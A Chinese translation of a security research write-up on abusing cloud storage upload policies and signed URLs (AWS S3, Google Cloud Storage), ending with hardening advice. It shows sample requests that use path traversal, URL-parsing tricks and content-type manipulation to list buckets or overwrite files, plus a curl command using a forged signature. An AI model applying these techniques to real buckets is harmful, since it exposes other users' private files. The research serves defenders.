本文中带有自己一些拙见，读者若存在相关问题或者有其他想法的，欢迎在评论区交流探讨。原文：https://labs.detectify.com/2018/08/02/bypassing-exploiting-bucket-upload-policies-signed-urls/
存储桶上传策略是一种直接从客户端将数据上传到存储桶的便捷方式。通过上传策略中的规则和与某些文件访问场景相关的逻辑，我们如何越权访问到完整的存储桶对象列表，同时能够修改或删除存储桶中的现有文件。
什么是存储桶策略？
（如果你已经知道什么是桶策略和签名 URL，你可以直接跳到下面的利用章节）
存储桶策略旨在将内容直接上传到基于云的存储桶存储（如 Google Cloud Storage 或 AWS S3）的安全方式。管理者只需要创建一个定义允许和不允许的策略，然后使用密钥对策略进行签名，并将策略和签名提供给客户端，接着客户端可以直接将文件上传到存储桶，存储桶将验证上传的内容是否符合策略。如果符合，则文件将被上传。
上传策略与预签名 URL
在开始之前，我们需要明确一点，有多种方法可以访问存储桶中的对象。POST 策略 (AWS）和 POST 对象 (Google Cloud Storage) 方法只允许上传内容，使用 POST 请求到存储桶。
另一种称为预签名 URL (AWS) 或 签名 URL (Google Cloud Storage) 的方法不仅允许修改对象。根据预签名逻辑定义的 HTTP 方法，我们可以PUT、DELETE或GET对象，这些对象默认为私有。
与 POST 策略版本相比，预签名 URL 在定义内容类型、访问控制以及类似上传文件方面更为宽松。签名 URL 也更经常使用不完善的自定义逻辑来实现，如下所示：
还有更多允许某人访问上传内容的方法，一种 是类似于 POST 策略的AWS STS AssumeRoleWithWebIdentity ，不同之处在于您可以获取由预定义的 IAM 角色创建的临时安全凭证 (ASIA * )。
如何发现上传策略或签名URL?
这是使用 POST 的上传的请求包截图： ![62a9b2ba09475431292fa80a]()
由上图可发现，该策略是一个 base64 编码的 JSON，如下所示：
{
"expiration": "2018-07-31T13:55:50Z",
"conditions": [
{"bucket": "bucket-name"},
["starts-with", "$key", "acc123"],
{"acl": "public-read"},
{"success_action_redirect": "https://dashboard.example.com/"},
["starts-with", "$Content-Type", ""],
["content-length-range", 0, 524288]
]
}
AWS S3 上的签名 URL 如下所示：
https://bucket-name.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...
和谷歌云存储类似，如下所示：
https://storage.googleapis.com/uploads/images/test.png?Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com&Signature=dlMA---
利用
现在到了有趣的地方啦！！！！！
我们需要定义一些不同的属性，来发现策略中的错误，以达到滥用上传策略的目的。
- starts-with $key 为空
["starts-with", "$key", ""]
这样配置不是很安全。我们现在能够上传到存储桶中的任何位置，并且能够覆盖任何对象。您可以将 key-property 设置为任何内容，并且该策略将被接受。
注意： 在某些情况下，这一点的可利用性仍然很困难，例如，存储桶仅用于上传名为 UUID（通用唯一标识符）的对象，这些对象从未公开或进一步使用。在这种情况下，我们不知道要覆盖哪些文件，也无法知道存储桶中其他对象的名称。
- starts-with $key 不包含路径分隔符或对所有用户使用相同的路径。
["starts-with", "$key", "acc_1322342m3423"]
如果 $key策略的 -part 包含定义的部分，但没有路径分隔符，我们可以将内容直接放在存储桶的根目录中。如果 Access=Yes 并且 Inline=Yes 取决于 content-type ，我们可以通过安装 AppCache-manifest 来 窃取 其他用户上传的URL 来滥用它。
![62a9b51e0947543129345559]()
如果对象上传到的路径对所有用户都相同，则同样的问题也适用。
- starts-with $Content-Type 为空
["starts-with", "$Content-Type", ""]
如果Access=Yes和Inline=Yes时，我们可以上传text/html。 如 #2 所示，我们可以使用它来运行 javascript 或在此路径上安装 AppCache-manifest，这意味着在此路径下访问的所有文件都将泄露给攻击者。
- 内容类型定义使用 starts-with $Content-Type.
["starts-with", "$Content-Type", "image/jpeg"]
这实际上与 #3 相同，我们可以增加一些内容使得content-type成为一个未知的mime-type，然后加上text/html ，文件将被以text/html的形式存储，如下所示：
Content-type: image/jpegz;text/html
此外，如果 S3 存储桶托管在公司的子域上，通过滥用上述策略，我们还可以通过上传的 HTML 文件在域上运行恶意的javascript代码。
最有趣的部分是利用在沙盒域上上传内容的网站。
利用自定义逻辑对签名的URL进行利用
签名的URL是在服务器端签名并提供给客户端，以允许他们上传、修改或访问内容。最容易出现问题的情况是当网站建立自定义逻辑来检索它们。
要首先了解如何滥用签名 URL，重要的是要知道默认情况下，能够通过一个签名的GET-URL到桶的根部，便可显示桶的文件列表。这就像使用一个公开的可列表的桶被曝光一样，不同的是，这个桶肯定包含其他用户的私人数据。
请记住，当我们知道存储桶中的其他文件时，我们也可以为它们请求以获取到签名的URL，此时将允许我们访问相关私有文件。
所以，我们的目标始终是尝试进入根目录或其他我们知道存在的文件。
对自定义逻辑绕过的姿势
下面是一些示例：发出签名的 GET-URL在不经意间暴露了存储桶的根路径。
- 使用get-image-终端节点对完整的桶进行完全的读取访问。 如下请求：
https://freehand.example.com/api/get-image?key=abc&document=xyz
提供以下签名URL：
https://prodapp.s3.amazonaws.com/documents/648475/images/abc?X-Amz-Algorithm=AWS4-HMAC-SHA256...
但是，终端节点在签署前对URL进行了规范化处理，故我们可通过使用目录穿越，探测桶的根目录。
https://freehand.example.com/api/get-image?key=../../../&document=xyz
和第一个链接进行对比，可以推测出与之对应的签名URL如下：
https://prodapp.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...
效果：这个 URL 给出了存储桶中每个文件的列表。
- 对签名 URL 请求进行正则表达式解析，实现全读访问
这是另一个示例，向网站上的终端节点发出以下请求，以获取对应的签名URL：
POST /api/file_service/file_upload_policies/s3_url_signature.json HTTP/1.1
Host: sectest.example.com
{"url":"https://example-bucket.s3.amazonaws.com/dir/file.png"}
上述请求将会解析URL并将它的一部分提取到签名的URL中，响应包如下：
{ “signedUrl” ：“https://s3.amazonaws.com/example-bucket/dir/file.png?X-Amz-Algorithm=AWS4-HMAC...” }
可以使用s3.amazonaws.com上的子域和路径访问S3存储桶，在这种情况下，可以推测出服务器端的逻辑是：将URL更改为基于路径的存储桶URL的方式。
根据上述对URL的提取位置的分析，可以对其进行构造，如下所示：
{"url":"https://.x./example-bucket"}
此时返回带签名的URL如下，该URL将显示存储桶的完整文件列表：
{ "signedURL" : "https://s3.amazonaws.com//example-beta?X-Amz-Algorithm=AWS4-HMAC..." }
浅浅解析一下：根据提取规律：会提取请求包URL中的http:// 后的一位，此时我们构造的URL中为空，进行拼接后，便会出现//example-beta?X-Amz-Algorithm=AWS4-HMAC...的情况啦~
- 滥用临时签名 URL 链接
这个例子来自两年前，我发现的第一个与签名URL相关的问题。
在网站上，当上传文件时，你首先在secure.example.com上创建一个随机密钥。
POST /api/s3_file/ HTTP/1.1
Host: secure.example.com
{"id":null,"random_key":"abc-123-def-456-ghi-789","s3_key":"/file.jpg","uploader_id":71957,"employee_id":null}
响应包如下：
HTTP/1.1 201 CREATED
{"employee_id":null, "s3_key": "/file.jpg", "uploader_id": 71957, "random_key":"abc-123-def-456-ghi-789", "id": null}
对应生成的URL为：
https://secure.example.com/files/abc-123-def-456-ghi-789
将会跳转到如下链接：
Location: https://example.s3.amazonaws.com/file.jpg?Signature=i0YZ...
测试时，可以尝试在原请求包上修改s3_key，如下所示：
“random_key” ：“xx1234” ，“s3_key” ：“/”
此时对应生成的URL为：
https://secure.example.com/files/xx1234
同理，将重定向到如下链接：
Location: https://example.s3.amazonaws.com/?Signature=i0YZ...
我现在有了他们存储桶的文件列表。该网站使用一个存储桶存储所有数据，其中包含他们拥有的每个文档和文件。当我尝试提取文件列表以显示公司时，存储桶非常庞大，数以百万计的文件。我直接将错误发送给了公司，他们很快进行了响应： ![62aa929509475431295b9f35]()
安全存储相关建议
应该为每个文件上传请求或至少为每个用户专门生成一个上传策略。
- $key 应该完全定义，具有唯一的、随机生成的名称并在随机生成的路径内。
- content-disposition 最好定义 attachment为。
- acl 最好是 private 或根本不定义。
- content-type 应该明确设置（不使用 starts-with）或根本不设置。
而且，创建签名 URL 永远不应该基于用户的参数，正如您在上面看到的那样，这很大概率存在漏洞。
末尾小彩蛋
我见过的最糟糕的情况是：
https://secure.example.com/api/file_upload_policies/multipart_signature?to_sign=GET%0A%0A%0A%0Ax-amz-date%3AFri%2C%2009%20Mar%202018%2000%3A11%3A28%20GMT%0A%2Fbucket-name%2F&datetime=Fri,%2009%20Mar%202018%2000:11:28%20GMT
当按照要求发送请求时，响应包返回的签名是可以用于请求一切资源的签名。
0zfAa9zIBlXH76rTitXXXuhEyJI=
此时便可以为所欲为，用如下方式去获取你想要请求的一切资源
curl -H "Authorization: AWS AKIAJAXXPZR2XXX7ZXXX:0zfAa9zIBlXH76rTitXXXuhEyJI=" -H "x-amz-date: Fri, 09 Mar 2018 00:11:28 GMT" https://s3.amazonaws.com/bucket-name/
本文首发于火线Zone：https://zone.huoxian.cn/d/1262-url
作者：樱宁
由上图可发现，该策略是一个 base64 编码的 JSON，如下所示：
